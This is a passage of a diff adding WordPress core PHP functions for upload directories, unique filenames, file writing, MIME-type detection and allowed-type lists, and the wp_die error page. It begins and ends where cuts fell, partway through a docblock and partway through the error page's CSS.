+ * 'WP_CONTENT_DIR/uploads'. If the 'UPLOADS' constant is defined, then it will
+ * override the 'upload_path' option and 'WP_CONTENT_DIR/uploads' path.
+ *
+ * The upload URL path is set either by the 'upload_url_path' option or by using
+ * the 'WP_CONTENT_URL' constant and appending '/uploads' to the path.
+ *
+ * If the 'uploads_use_yearmonth_folders' is set to true (checkbox if checked in
+ * the administration settings panel), then the time will be used. The format
+ * will be year first and then month.
+ *
+ * If the path couldn't be created, then an error will be returned with the key
+ * 'error' containing the error message. The error suggests that the parent
+ * directory is not writable by the server.
+ *
+ * On success, the returned array will have many indices:
+ * 'path' - base directory and sub directory or full path to upload directory.
+ * 'url' - base url and sub directory or absolute URL to upload directory.
+ * 'subdir' - sub directory if uploads use year/month folders option is on.
+ * 'basedir' - path without subdir.
+ * 'baseurl' - URL path without subdir.
+ * 'error' - set to false.
+ *
+ * @since 2.0.0
+ *
+ * @param string $time Optional. Time formatted in 'yyyy/mm'. Default null.
+ * @return array See above for description.
+ */
+function wp_upload_dir( $time = null ) {
+	$siteurl = get_option( 'siteurl' );
+	$upload_path = trim( get_option( 'upload_path' ) );
+
+	if ( empty( $upload_path ) || 'wp-content/uploads' == $upload_path ) {
+		$dir = WP_CONTENT_DIR . '/uploads';
+	} elseif ( 0 !== strpos( $upload_path, ABSPATH ) ) {
+		// $dir is absolute, $upload_path is (maybe) relative to ABSPATH
+		$dir = path_join( ABSPATH, $upload_path );
+	} else {
+		$dir = $upload_path;
+	}
+
+	if ( !$url = get_option( 'upload_url_path' ) ) {
+		if ( empty($upload_path) || ( 'wp-content/uploads' == $upload_path ) || ( $upload_path == $dir ) )
+			$url = WP_CONTENT_URL . '/uploads';
+		else
+			$url = trailingslashit( $siteurl ) . $upload_path;
+	}
+
+	/*
+	 * Honor the value of UPLOADS. This happens as long as ms-files rewriting is disabled.
+	 * We also sometimes obey UPLOADS when rewriting is enabled -- see the next block.
+	 */
+	if ( defined( 'UPLOADS' ) && ! ( is_multisite() && get_site_option( 'ms_files_rewriting' ) ) ) {
+		$dir = ABSPATH . UPLOADS;
+		$url = trailingslashit( $siteurl ) . UPLOADS;
+	}
+
+	// If multisite (and if not the main site in a post-MU network)
+	if ( is_multisite() && ! ( is_main_network() && is_main_site() && defined( 'MULTISITE' ) ) ) {
+
+		if ( ! get_site_option( 'ms_files_rewriting' ) ) {
+			/*
+			 * If ms-files rewriting is disabled (networks created post-3.5), it is fairly
+			 * straightforward: Append sites/%d if we're not on the main site (for post-MU
+			 * networks). (The extra directory prevents a four-digit ID from conflicting with
+			 * a year-based directory for the main site. But if a MU-era network has disabled
+			 * ms-files rewriting manually, they don't need the extra directory, as they never
+			 * had wp-content/uploads for the main site.)
+			 */
+
+			if ( defined( 'MULTISITE' ) )
+				$ms_dir = '/sites/' . get_current_blog_id();
+			else
+				$ms_dir = '/' . get_current_blog_id();
+
+			$dir .= $ms_dir;
+			$url .= $ms_dir;
+
+		} elseif ( defined( 'UPLOADS' ) && ! ms_is_switched() ) {
+			/*
+			 * Handle the old-form ms-files.php rewriting if the network still has that enabled.
+			 * When ms-files rewriting is enabled, then we only listen to UPLOADS when:
+			 * 1) We are not on the main site in a post-MU network, as wp-content/uploads is used
+			 *    there, and
+			 * 2) We are not switched, as ms_upload_constants() hardcodes these constants to reflect
+			 *    the original blog ID.
+			 *
+			 * Rather than UPLOADS, we actually use BLOGUPLOADDIR if it is set, as it is absolute.
+			 * (And it will be set, see ms_upload_constants().) Otherwise, UPLOADS can be used, as
+			 * as it is relative to ABSPATH. For the final piece: when UPLOADS is used with ms-files
+			 * rewriting in multisite, the resulting URL is /files. (#WP22702 for background.)
+			 */
+
+			if ( defined( 'BLOGUPLOADDIR' ) )
+				$dir = untrailingslashit( BLOGUPLOADDIR );
+			else
+				$dir = ABSPATH . UPLOADS;
+			$url = trailingslashit( $siteurl ) . 'files';
+		}
+	}
+
+	$basedir = $dir;
+	$baseurl = $url;
+
+	$subdir = '';
+	if ( get_option( 'uploads_use_yearmonth_folders' ) ) {
+		// Generate the yearly and monthly dirs
+		if ( !$time )
+			$time = current_time( 'mysql' );
+		$y = substr( $time, 0, 4 );
+		$m = substr( $time, 5, 2 );
+		$subdir = "/$y/$m";
+	}
+
+	$dir .= $subdir;
+	$url .= $subdir;
+
+	/**
+	 * Filter the uploads directory data.
+	 *
+	 * @since 2.0.0
+	 *
+	 * @param array $uploads Array of upload directory data with keys of 'path',
+	 *                       'url', 'subdir, 'basedir', and 'error'.
+	 */
+	$uploads = apply_filters( 'upload_dir',
+		array(
+			'path'    => $dir,
+			'url'     => $url,
+			'subdir'  => $subdir,
+			'basedir' => $basedir,
+			'baseurl' => $baseurl,
+			'error'   => false,
+		) );
+
+	// Make sure we have an uploads directory.
+	if ( ! wp_mkdir_p( $uploads['path'] ) ) {
+		if ( 0 === strpos( $uploads['basedir'], ABSPATH ) )
+			$error_path = str_replace( ABSPATH, '', $uploads['basedir'] ) . $uploads['subdir'];
+		else
+			$error_path = basename( $uploads['basedir'] ) . $uploads['subdir'];
+
+		$message = sprintf( __( 'Unable to create directory %s. Is its parent directory writable by the server?' ), $error_path );
+		$uploads['error'] = $message;
+	}
+
+	return $uploads;
+}
+
+/**
+ * Get a filename that is sanitized and unique for the given directory.
+ *
+ * If the filename is not unique, then a number will be added to the filename
+ * before the extension, and will continue adding numbers until the filename is
+ * unique.
+ *
+ * The callback is passed three parameters, the first one is the directory, the
+ * second is the filename, and the third is the extension.
+ *
+ * @since 2.5.0
+ *
+ * @param string   $dir                      Directory.
+ * @param string   $filename                 File name.
+ * @param callback $unique_filename_callback Callback. Default null.
+ * @return string New filename, if given wasn't unique.
+ */
+function wp_unique_filename( $dir, $filename, $unique_filename_callback = null ) {
+	// Sanitize the file name before we begin processing.
+	$filename = sanitize_file_name($filename);
+
+	// Separate the filename into a name and extension.
+	$info = pathinfo($filename);
+	$ext = !empty($info['extension']) ? '.' . $info['extension'] : '';
+	$name = basename($filename, $ext);
+
+	// Edge case: if file is named '.ext', treat as an empty name.
+	if ( $name === $ext )
+		$name = '';
+
+	/*
+	 * Increment the file number until we have a unique file to save in $dir.
+	 * Use callback if supplied.
+	 */
+	if ( $unique_filename_callback && is_callable( $unique_filename_callback ) ) {
+		$filename = call_user_func( $unique_filename_callback, $dir, $name, $ext );
+	} else {
+		$number = '';
+
+		// Change '.ext' to lower case.
+		if ( $ext && strtolower($ext) != $ext ) {
+			$ext2 = strtolower($ext);
+			$filename2 = preg_replace( '|' . preg_quote($ext) . '$|', $ext2, $filename );
+
+			// Check for both lower and upper case extension or image sub-sizes may be overwritten.
+			while ( file_exists($dir . "/$filename") || file_exists($dir . "/$filename2") ) {
+				$new_number = $number + 1;
+				$filename = str_replace( "$number$ext", "$new_number$ext", $filename );
+				$filename2 = str_replace( "$number$ext2", "$new_number$ext2", $filename2 );
+				$number = $new_number;
+			}
+			return $filename2;
+		}
+
+		while ( file_exists( $dir . "/$filename" ) ) {
+			if ( '' == "$number$ext" )
+				$filename = $filename . ++$number . $ext;
+			else
+				$filename = str_replace( "$number$ext", ++$number . $ext, $filename );
+		}
+	}
+
+	return $filename;
+}
+
+/**
+ * Create a file in the upload folder with given content.
+ *
+ * If there is an error, then the key 'error' will exist with the error message.
+ * If success, then the key 'file' will have the unique file path, the 'url' key
+ * will have the link to the new file. and the 'error' key will be set to false.
+ *
+ * This function will not move an uploaded file to the upload folder. It will
+ * create a new file with the content in $bits parameter. If you move the upload
+ * file, read the content of the uploaded file, and then you can give the
+ * filename and content to this function, which will add it to the upload
+ * folder.
+ *
+ * The permissions will be set on the new file automatically by this function.
+ *
+ * @since 2.0.0
+ *
+ * @param string       $name       Filename.
+ * @param null|string  $deprecated Never used. Set to null.
+ * @param mixed        $bits       File content
+ * @param string       $time       Optional. Time formatted in 'yyyy/mm'. Default null.
+ * @return array
+ */
+function wp_upload_bits( $name, $deprecated, $bits, $time = null ) {
+	if ( !empty( $deprecated ) )
+		_deprecated_argument( __FUNCTION__, '2.0' );
+
+	if ( empty( $name ) )
+		return array( 'error' => __( 'Empty filename' ) );
+
+	$wp_filetype = wp_check_filetype( $name );
+	if ( ! $wp_filetype['ext'] && ! current_user_can( 'unfiltered_upload' ) )
+		return array( 'error' => __( 'Invalid file type' ) );
+
+	$upload = wp_upload_dir( $time );
+
+	if ( $upload['error'] !== false )
+		return $upload;
+
+	/**
+	 * Filter whether to treat the upload bits as an error.
+	 *
+	 * Passing a non-array to the filter will effectively short-circuit preparing
+	 * the upload bits, returning that value instead.
+	 *
+	 * @since 3.0.0
+	 *
+	 * @param mixed $upload_bits_error An array of upload bits data, or a non-array error to return.
+	 */
+	$upload_bits_error = apply_filters( 'wp_upload_bits', array( 'name' => $name, 'bits' => $bits, 'time' => $time ) );
+	if ( !is_array( $upload_bits_error ) ) {
+		$upload[ 'error' ] = $upload_bits_error;
+		return $upload;
+	}
+
+	$filename = wp_unique_filename( $upload['path'], $name );
+
+	$new_file = $upload['path'] . "/$filename";
+	if ( ! wp_mkdir_p( dirname( $new_file ) ) ) {
+		if ( 0 === strpos( $upload['basedir'], ABSPATH ) )
+			$error_path = str_replace( ABSPATH, '', $upload['basedir'] ) . $upload['subdir'];
+		else
+			$error_path = basename( $upload['basedir'] ) . $upload['subdir'];
+
+		$message = sprintf( __( 'Unable to create directory %s. Is its parent directory writable by the server?' ), $error_path );
+		return array( 'error' => $message );
+	}
+
+	$ifp = @ fopen( $new_file, 'wb' );
+	if ( ! $ifp )
+		return array( 'error' => sprintf( __( 'Could not write file %s' ), $new_file ) );
+
+	@fwrite( $ifp, $bits );
+	fclose( $ifp );
+	clearstatcache();
+
+	// Set correct file permissions
+	$stat = @ stat( dirname( $new_file ) );
+	$perms = $stat['mode'] & 0007777;
+	$perms = $perms & 0000666;
+	@ chmod( $new_file, $perms );
+	clearstatcache();
+
+	// Compute the URL
+	$url = $upload['url'] . "/$filename";
+
+	return array( 'file' => $new_file, 'url' => $url, 'error' => false );
+}
+
+/**
+ * Retrieve the file type based on the extension name.
+ *
+ * @since 2.5.0
+ *
+ * @param string $ext The extension to search.
+ * @return string|null The file type, example: audio, video, document, spreadsheet, etc.
+ *                     Null if not found.
+ */
+function wp_ext2type( $ext ) {
+	$ext = strtolower( $ext );
+
+	/**
+	 * Filter file type based on the extension name.
+	 *
+	 * @since 2.5.0
+	 *
+	 * @see wp_ext2type()
+	 *
+	 * @param array $ext2type Multi-dimensional array with extensions for a default set
+	 *                        of file types.
+	 */
+	$ext2type = apply_filters( 'ext2type', array(
+		'image'       => array( 'jpg', 'jpeg', 'jpe',  'gif',  'png',  'bmp',   'tif',  'tiff', 'ico' ),
+		'audio'       => array( 'aac', 'ac3',  'aif',  'aiff', 'm3a',  'm4a',   'm4b',  'mka',  'mp1',  'mp2',  'mp3', 'ogg', 'oga', 'ram', 'wav', 'wma' ),
+		'video'       => array( '3g2',  '3gp', '3gpp', 'asf', 'avi',  'divx', 'dv',   'flv',  'm4v',   'mkv',  'mov',  'mp4',  'mpeg', 'mpg', 'mpv', 'ogm', 'ogv', 'qt',  'rm', 'vob', 'wmv' ),
+		'document'    => array( 'doc', 'docx', 'docm', 'dotm', 'odt',  'pages', 'pdf',  'xps',  'oxps', 'rtf',  'wp', 'wpd', 'psd' ),
+		'spreadsheet' => array( 'numbers',     'ods',  'xls',  'xlsx', 'xlsm',  'xlsb' ),
+		'interactive' => array( 'swf', 'key',  'ppt',  'pptx', 'pptm', 'pps',   'ppsx', 'ppsm', 'sldx', 'sldm', 'odp' ),
+		'text'        => array( 'asc', 'csv',  'tsv',  'txt' ),
+		'archive'     => array( 'bz2', 'cab',  'dmg',  'gz',   'rar',  'sea',   'sit',  'sqx',  'tar',  'tgz',  'zip', '7z' ),
+		'code'        => array( 'css', 'htm',  'html', 'php',  'js' ),
+	) );
+
+	foreach ( $ext2type as $type => $exts )
+		if ( in_array( $ext, $exts ) )
+			return $type;
+
+	return null;
+}
+
+/**
+ * Retrieve the file type from the file name.
+ *
+ * You can optionally define the mime array, if needed.
+ *
+ * @since 2.0.4
+ *
+ * @param string $filename File name or path.
+ * @param array  $mimes    Optional. Key is the file extension with value as the mime type.
+ * @return array Values with extension first and mime type.
+ */
+function wp_check_filetype( $filename, $mimes = null ) {
+	if ( empty($mimes) )
+		$mimes = get_allowed_mime_types();
+	$type = false;
+	$ext = false;
+
+	foreach ( $mimes as $ext_preg => $mime_match ) {
+		$ext_preg = '!\.(' . $ext_preg . ')$!i';
+		if ( preg_match( $ext_preg, $filename, $ext_matches ) ) {
+			$type = $mime_match;
+			$ext = $ext_matches[1];
+			break;
+		}
+	}
+
+	return compact( 'ext', 'type' );
+}
+
+/**
+ * Attempt to determine the real file type of a file.
+ *
+ * If unable to, the file name extension will be used to determine type.
+ *
+ * If it's determined that the extension does not match the file's real type,
+ * then the "proper_filename" value will be set with a proper filename and extension.
+ *
+ * Currently this function only supports validating images known to getimagesize().
+ *
+ * @since 3.0.0
+ *
+ * @param string $file     Full path to the file.
+ * @param string $filename The name of the file (may differ from $file due to $file being
+ *                         in a tmp directory).
+ * @param array   $mimes   Optional. Key is the file extension with value as the mime type.
+ * @return array Values for the extension, MIME, and either a corrected filename or false
+ *               if original $filename is valid.
+ */
+function wp_check_filetype_and_ext( $file, $filename, $mimes = null ) {
+
+	$proper_filename = false;
+
+	// Do basic extension validation and MIME mapping
+	$wp_filetype = wp_check_filetype( $filename, $mimes );
+	$ext = $wp_filetype['ext'];
+	$type = $wp_filetype['type'];
+
+	// We can't do any further validation without a file to work with
+	if ( ! file_exists( $file ) ) {
+		return compact( 'ext', 'type', 'proper_filename' );
+	}
+
+	// We're able to validate images using GD
+	if ( $type && 0 === strpos( $type, 'image/' ) && function_exists('getimagesize') ) {
+
+		// Attempt to figure out what type of image it actually is
+		$imgstats = @getimagesize( $file );
+
+		// If getimagesize() knows what kind of image it really is and if the real MIME doesn't match the claimed MIME
+		if ( !empty($imgstats['mime']) && $imgstats['mime'] != $type ) {
+			/**
+			 * Filter the list mapping image mime types to their respective extensions.
+			 *
+			 * @since 3.0.0
+			 *
+			 * @param  array $mime_to_ext Array of image mime types and their matching extensions.
+			 */
+			$mime_to_ext = apply_filters( 'getimagesize_mimes_to_exts', array(
+				'image/jpeg' => 'jpg',
+				'image/png'  => 'png',
+				'image/gif'  => 'gif',
+				'image/bmp'  => 'bmp',
+				'image/tiff' => 'tif',
+			) );
+
+			// Replace whatever is after the last period in the filename with the correct extension
+			if ( ! empty( $mime_to_ext[ $imgstats['mime'] ] ) ) {
+				$filename_parts = explode( '.', $filename );
+				array_pop( $filename_parts );
+				$filename_parts[] = $mime_to_ext[ $imgstats['mime'] ];
+				$new_filename = implode( '.', $filename_parts );
+
+				if ( $new_filename != $filename ) {
+					$proper_filename = $new_filename; // Mark that it changed
+				}
+				// Redefine the extension / MIME
+				$wp_filetype = wp_check_filetype( $new_filename, $mimes );
+				$ext = $wp_filetype['ext'];
+				$type = $wp_filetype['type'];
+			}
+		}
+	}
+
+	/**
+	 * Filter the "real" file type of the given file.
+	 *
+	 * @since 3.0.0
+	 *
+	 * @param array  $wp_check_filetype_and_ext File data array containing 'ext', 'type', and
+	 *                                          'proper_filename' keys.
+	 * @param string $file                      Full path to the file.
+	 * @param string $filename                  The name of the file (may differ from $file due to
+	 *                                          $file being in a tmp directory).
+	 * @param array  $mimes                     Key is the file extension with value as the mime type.
+	 */
+	return apply_filters( 'wp_check_filetype_and_ext', compact( 'ext', 'type', 'proper_filename' ), $file, $filename, $mimes );
+}
+
+/**
+ * Retrieve list of mime types and file extensions.
+ *
+ * @since 3.5.0
+ *
+ * @return array Array of mime types keyed by the file extension regex corresponding to those types.
+ */
+function wp_get_mime_types() {
+	/**
+	 * Filter the list of mime types and file extensions.
+	 *
+	 * This filter should be used to add, not remove, mime types. To remove
+	 * mime types, use the 'upload_mimes' filter.
+	 *
+	 * @since 3.5.0
+	 *
+	 * @param array $wp_get_mime_types Mime types keyed by the file extension regex
+	 *                                 corresponding to those types.
+	 */
+	return apply_filters( 'mime_types', array(
+	// Image formats.
+	'jpg|jpeg|jpe' => 'image/jpeg',
+	'gif' => 'image/gif',
+	'png' => 'image/png',
+	'bmp' => 'image/bmp',
+	'tif|tiff' => 'image/tiff',
+	'ico' => 'image/x-icon',
+	// Video formats.
+	'asf|asx' => 'video/x-ms-asf',
+	'wmv' => 'video/x-ms-wmv',
+	'wmx' => 'video/x-ms-wmx',
+	'wm' => 'video/x-ms-wm',
+	'avi' => 'video/avi',
+	'divx' => 'video/divx',
+	'flv' => 'video/x-flv',
+	'mov|qt' => 'video/quicktime',
+	'mpeg|mpg|mpe' => 'video/mpeg',
+	'mp4|m4v' => 'video/mp4',
+	'ogv' => 'video/ogg',
+	'webm' => 'video/webm',
+	'mkv' => 'video/x-matroska',
+	'3gp|3gpp' => 'video/3gpp', // Can also be audio
+	'3g2|3gp2' => 'video/3gpp2', // Can also be audio
+	// Text formats.
+	'txt|asc|c|cc|h|srt' => 'text/plain',
+	'csv' => 'text/csv',
+	'tsv' => 'text/tab-separated-values',
+	'ics' => 'text/calendar',
+	'rtx' => 'text/richtext',
+	'css' => 'text/css',
+	'htm|html' => 'text/html',
+	'vtt' => 'text/vtt',
+	'dfxp' => 'application/ttaf+xml',
+	// Audio formats.
+	'mp3|m4a|m4b' => 'audio/mpeg',
+	'ra|ram' => 'audio/x-realaudio',
+	'wav' => 'audio/wav',
+	'ogg|oga' => 'audio/ogg',
+	'mid|midi' => 'audio/midi',
+	'wma' => 'audio/x-ms-wma',
+	'wax' => 'audio/x-ms-wax',
+	'mka' => 'audio/x-matroska',
+	// Misc application formats.
+	'rtf' => 'application/rtf',
+	'js' => 'application/javascript',
+	'pdf' => 'application/pdf',
+	'swf' => 'application/x-shockwave-flash',
+	'class' => 'application/java',
+	'tar' => 'application/x-tar',
+	'zip' => 'application/zip',
+	'gz|gzip' => 'application/x-gzip',
+	'rar' => 'application/rar',
+	'7z' => 'application/x-7z-compressed',
+	'exe' => 'application/x-msdownload',
+	'psd' => 'application/octet-stream',
+	// MS Office formats.
+	'doc' => 'application/msword',
+	'pot|pps|ppt' => 'application/vnd.ms-powerpoint',
+	'wri' => 'application/vnd.ms-write',
+	'xla|xls|xlt|xlw' => 'application/vnd.ms-excel',
+	'mdb' => 'application/vnd.ms-access',
+	'mpp' => 'application/vnd.ms-project',
+	'docx' => 'application/vnd.openxmlformats-officedocument.wordprocessingml.document',
+	'docm' => 'application/vnd.ms-word.document.macroEnabled.12',
+	'dotx' => 'application/vnd.openxmlformats-officedocument.wordprocessingml.template',
+	'dotm' => 'application/vnd.ms-word.template.macroEnabled.12',
+	'xlsx' => 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet',
+	'xlsm' => 'application/vnd.ms-excel.sheet.macroEnabled.12',
+	'xlsb' => 'application/vnd.ms-excel.sheet.binary.macroEnabled.12',
+	'xltx' => 'application/vnd.openxmlformats-officedocument.spreadsheetml.template',
+	'xltm' => 'application/vnd.ms-excel.template.macroEnabled.12',
+	'xlam' => 'application/vnd.ms-excel.addin.macroEnabled.12',
+	'pptx' => 'application/vnd.openxmlformats-officedocument.presentationml.presentation',
+	'pptm' => 'application/vnd.ms-powerpoint.presentation.macroEnabled.12',
+	'ppsx' => 'application/vnd.openxmlformats-officedocument.presentationml.slideshow',
+	'ppsm' => 'application/vnd.ms-powerpoint.slideshow.macroEnabled.12',
+	'potx' => 'application/vnd.openxmlformats-officedocument.presentationml.template',
+	'potm' => 'application/vnd.ms-powerpoint.template.macroEnabled.12',
+	'ppam' => 'application/vnd.ms-powerpoint.addin.macroEnabled.12',
+	'sldx' => 'application/vnd.openxmlformats-officedocument.presentationml.slide',
+	'sldm' => 'application/vnd.ms-powerpoint.slide.macroEnabled.12',
+	'onetoc|onetoc2|onetmp|onepkg' => 'application/onenote',
+	'oxps' => 'application/oxps',
+	'xps' => 'application/vnd.ms-xpsdocument',
+	// OpenOffice formats.
+	'odt' => 'application/vnd.oasis.opendocument.text',
+	'odp' => 'application/vnd.oasis.opendocument.presentation',
+	'ods' => 'application/vnd.oasis.opendocument.spreadsheet',
+	'odg' => 'application/vnd.oasis.opendocument.graphics',
+	'odc' => 'application/vnd.oasis.opendocument.chart',
+	'odb' => 'application/vnd.oasis.opendocument.database',
+	'odf' => 'application/vnd.oasis.opendocument.formula',
+	// WordPerfect formats.
+	'wp|wpd' => 'application/wordperfect',
+	// iWork formats.
+	'key' => 'application/vnd.apple.keynote',
+	'numbers' => 'application/vnd.apple.numbers',
+	'pages' => 'application/vnd.apple.pages',
+	) );
+}
+/**
+ * Retrieve list of allowed mime types and file extensions.
+ *
+ * @since 2.8.6
+ *
+ * @param int|WP_User $user Optional. User to check. Defaults to current user.
+ * @return array Array of mime types keyed by the file extension regex corresponding
+ *               to those types.
+ */
+function get_allowed_mime_types( $user = null ) {
+	$t = wp_get_mime_types();
+
+	unset( $t['swf'], $t['exe'] );
+	if ( function_exists( 'current_user_can' ) )
+		$unfiltered = $user ? user_can( $user, 'unfiltered_html' ) : current_user_can( 'unfiltered_html' );
+
+	if ( empty( $unfiltered ) )
+		unset( $t['htm|html'] );
+
+	/**
+	 * Filter list of allowed mime types and file extensions.
+	 *
+	 * @since 2.0.0
+	 *
+	 * @param array            $t    Mime types keyed by the file extension regex corresponding to
+	 *                               those types. 'swf' and 'exe' removed from full list. 'htm|html' also
+	 *                               removed depending on '$user' capabilities.
+	 * @param int|WP_User|null $user User ID, User object or null if not provided (indicates current user).
+	 */
+	return apply_filters( 'upload_mimes', $t, $user );
+}
+
+/**
+ * Display "Are You Sure" message to confirm the action being taken.
+ *
+ * If the action has the nonce explain message, then it will be displayed
+ * along with the "Are you sure?" message.
+ *
+ * @since 2.0.4
+ *
+ * @param string $action The nonce action.
+ */
+function wp_nonce_ays( $action ) {
+	if ( 'log-out' == $action ) {
+		$html = sprintf( __( 'You are attempting to log out of %s' ), get_bloginfo( 'name' ) ) . '</p><p>';
+		$redirect_to = isset( $_REQUEST['redirect_to'] ) ? $_REQUEST['redirect_to'] : '';
+		$html .= sprintf( __( "Do you really want to <a href='%s'>log out</a>?"), wp_logout_url( $redirect_to ) );
+	} else {
+		$html = __( 'Are you sure you want to do this?' );
+		if ( wp_get_referer() )
+			$html .= "</p><p><a href='" . esc_url( remove_query_arg( 'updated', wp_get_referer() ) ) . "'>" . __( 'Please try again.' ) . "</a>";
+	}
+
+	wp_die( $html, __( 'WordPress Failure Notice' ), 403 );
+}
+
+/**
+ * Kill WordPress execution and display HTML message with error message.
+ *
+ * This function complements the `die()` PHP function. The difference is that
+ * HTML will be displayed to the user. It is recommended to use this function
+ * only when the execution should not continue any further. It is not recommended
+ * to call this function very often, and try to handle as many errors as possible
+ * silently or more gracefully.
+ *
+ * As a shorthand, the desired HTTP response code may be passed as an integer to
+ * the `$title` parameter (the default title would apply) or the `$args` parameter.
+ *
+ * @since 2.0.4
+ * @since 4.1.0 The `$title` and `$args` parameters were changed to optionally accept
+ *              an integer to be used as the response code.
+ *
+ * @param string|WP_Error  $message Optional. Error message. If this is a {@see WP_Error} object,
+ *                                  the error's messages are used. Default empty.
+ * @param string|int       $title   Optional. Error title. If `$message` is a `WP_Error` object,
+ *                                  error data with the key 'title' may be used to specify the title.
+ *                                  If `$title` is an integer, then it is treated as the response
+ *                                  code. Default empty.
+ * @param string|array|int $args {
+ *     Optional. Arguments to control behavior. If `$args` is an integer, then it is treated
+ *     as the response code. Default empty array.
+ *
+ *     @type int    $response       The HTTP response code. Default 500.
+ *     @type bool   $back_link      Whether to include a link to go back. Default false.
+ *     @type string $text_direction The text direction. This is only useful internally, when WordPress
+ *                                  is still loading and the site's locale is not set up yet. Accepts 'rtl'.
+ *                                  Default is the value of {@see is_rtl()}.
+ * }
+ */
+function wp_die( $message = '', $title = '', $args = array() ) {
+
+	if ( is_int( $args ) ) {
+		$args = array( 'response' => $args );
+	} elseif ( is_int( $title ) ) {
+		$args  = array( 'response' => $title );
+		$title = '';
+	}
+
+	if ( defined( 'DOING_AJAX' ) && DOING_AJAX ) {
+		/**
+		 * Filter callback for killing WordPress execution for AJAX requests.
+		 *
+		 * @since 3.4.0
+		 *
+		 * @param callback $function Callback function name.
+		 */
+		$function = apply_filters( 'wp_die_ajax_handler', '_ajax_wp_die_handler' );
+	} elseif ( defined( 'XMLRPC_REQUEST' ) && XMLRPC_REQUEST ) {
+		/**
+		 * Filter callback for killing WordPress execution for XML-RPC requests.
+		 *
+		 * @since 3.4.0
+		 *
+		 * @param callback $function Callback function name.
+		 */
+		$function = apply_filters( 'wp_die_xmlrpc_handler', '_xmlrpc_wp_die_handler' );
+	} else {
+		/**
+		 * Filter callback for killing WordPress execution for all non-AJAX, non-XML-RPC requests.
+		 *
+		 * @since 3.0.0
+		 *
+		 * @param callback $function Callback function name.
+		 */
+		$function = apply_filters( 'wp_die_handler', '_default_wp_die_handler' );
+	}
+
+	call_user_func( $function, $message, $title, $args );
+}
+
+/**
+ * Kill WordPress execution and display HTML message with error message.
+ *
+ * This is the default handler for wp_die if you want a custom one for your
+ * site then you can overload using the wp_die_handler filter in wp_die
+ *
+ * @since 3.0.0
+ * @access private
+ *
+ * @param string       $message Error message.
+ * @param string       $title   Optional. Error title. Default empty.
+ * @param string|array $args    Optional. Arguments to control behavior. Default empty array.
+ */
+function _default_wp_die_handler( $message, $title = '', $args = array() ) {
+	$defaults = array( 'response' => 500 );
+	$r = wp_parse_args($args, $defaults);
+
+	$have_gettext = function_exists('__');
+
+	if ( function_exists( 'is_wp_error' ) && is_wp_error( $message ) ) {
+		if ( empty( $title ) ) {
+			$error_data = $message->get_error_data();
+			if ( is_array( $error_data ) && isset( $error_data['title'] ) )
+				$title = $error_data['title'];
+		}
+		$errors = $message->get_error_messages();
+		switch ( count( $errors ) ) {
+		case 0 :
+			$message = '';
+			break;
+		case 1 :
+			$message = "<p>{$errors[0]}</p>";
+			break;
+		default :
+			$message = "<ul>\n\t\t<li>" . join( "</li>\n\t\t<li>", $errors ) . "</li>\n\t</ul>";
+			break;
+		}
+	} elseif ( is_string( $message ) ) {
+		$message = "<p>$message</p>";
+	}
+
+	if ( isset( $r['back_link'] ) && $r['back_link'] ) {
+		$back_text = $have_gettext? __('&laquo; Back') : '&laquo; Back';
+		$message .= "\n<p><a href='javascript:history.back()'>$back_text</a></p>";
+	}
+
+	if ( ! did_action( 'admin_head' ) ) :
+		if ( !headers_sent() ) {
+			status_header( $r['response'] );
+			nocache_headers();
+			header( 'Content-Type: text/html; charset=utf-8' );
+		}
+
+		if ( empty($title) )
+			$title = $have_gettext ? __('WordPress &rsaquo; Error') : 'WordPress &rsaquo; Error';
+
+		$text_direction = 'ltr';
+		if ( isset($r['text_direction']) && 'rtl' == $r['text_direction'] )
+			$text_direction = 'rtl';
+		elseif ( function_exists( 'is_rtl' ) && is_rtl() )
+			$text_direction = 'rtl';
+?>
+<!DOCTYPE html>
+<!-- Ticket #11289, IE bug fix: always pad the error page with enough characters such that it is greater than 512 bytes, even after gzip compression abcdefghijklmnopqrstuvwxyz1234567890aabbccddeeffgghhiijjkkllmmnnooppqqrrssttuuvvwwxxyyzz11223344556677889900abacbcbdcdcededfefegfgfhghgihihjijikjkjlklkmlmlnmnmononpopoqpqprqrqsrsrtstsubcbcdcdedefefgfabcadefbghicjkldmnoepqrfstugvwxhyz1i234j567k890laabmbccnddeoeffpgghqhiirjjksklltmmnunoovppqwqrrxsstytuuzvvw0wxx1yyz2z113223434455666777889890091abc2def3ghi4jkl5mno6pqr7stu8vwx9yz11aab2bcc3dd4ee5ff6gg7hh8ii9j0jk1kl2lmm3nnoo4p5pq6qrr7ss8tt9uuvv0wwx1x2yyzz13aba4cbcb5dcdc6dedfef8egf9gfh0ghg1ihi2hji3jik4jkj5lkl6kml7mln8mnm9ono
+-->
+<html xmlns="http://www.w3.org/1999/xhtml" <?php if ( function_exists( 'language_attributes' ) && function_exists( 'is_rtl' ) ) language_attributes(); else echo "dir='$text_direction'"; ?>>
+<head>
+	<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
+	<title><?php echo $title ?></title>
+	<style type="text/css">
+		html {
+			background: #f1f1f1;
+		}
+		body {
+			background: #fff;
+			color: #444;
+			font-family: "Open Sans", sans-serif;
+			margin: 2em auto;
+			padding: 1em 2em;
+			max-width: 700px;
+			-webkit-box-shadow: 0 1px 3px rgba(0,0,0,0.13);
+			box-shadow: 0 1px 3px rgba(0,0,0,0.13);
+		}
+		h1 {
+			border-bottom: 1px solid #dadada;
+			clear: both;
+			color: #666;
+			font: 24px "Open Sans", sans-serif;
+			margin: 30px 0 0 0;
+			padding: 0;
+			padding-bottom: 7px;
+		}
+		#error-page {
+			margin-top: 50px;
+		}
+		#error-page p {
+			font-size: 14px;
+			line-height: 1.5;
+			margin: 25px 0 20px;
+		}
+		#error-page code {
+			font-family: Consolas, Monaco, monospace;
+		}
+		ul li {
+			margin-bottom: 10px;
+			font-size: 14px ;
+		}
+		a {
+			color: #21759B;
+			text-decoration: none;
+		}
+		a:hover {
+			color: #D54E21;
+		}
+		.button {
+			background: #f7f7f7;
+			border: 1px solid #cccccc;
+			color: #555;
+			display: inline-block;
+			text-decoration: none;
+			font-size: 13px;
+			line-height: 26px;
+			height: 28px;
+			margin: 0;
+			padding: 0 10px 1px;
+			cursor: pointer;
+			-webkit-border-radius: 3px;
+			-webkit-appearance: none;
+			border-radius: 3px;
+			white-space: nowrap;
+			-webkit-box-sizing: border-box;
+			-moz-box-sizing:    border-box;
+			box-sizing:         border-box;
+
+			-webkit-box-shadow: inset 0 1px 0 #fff, 0 1px 0 rgba(0,0,0,.08);
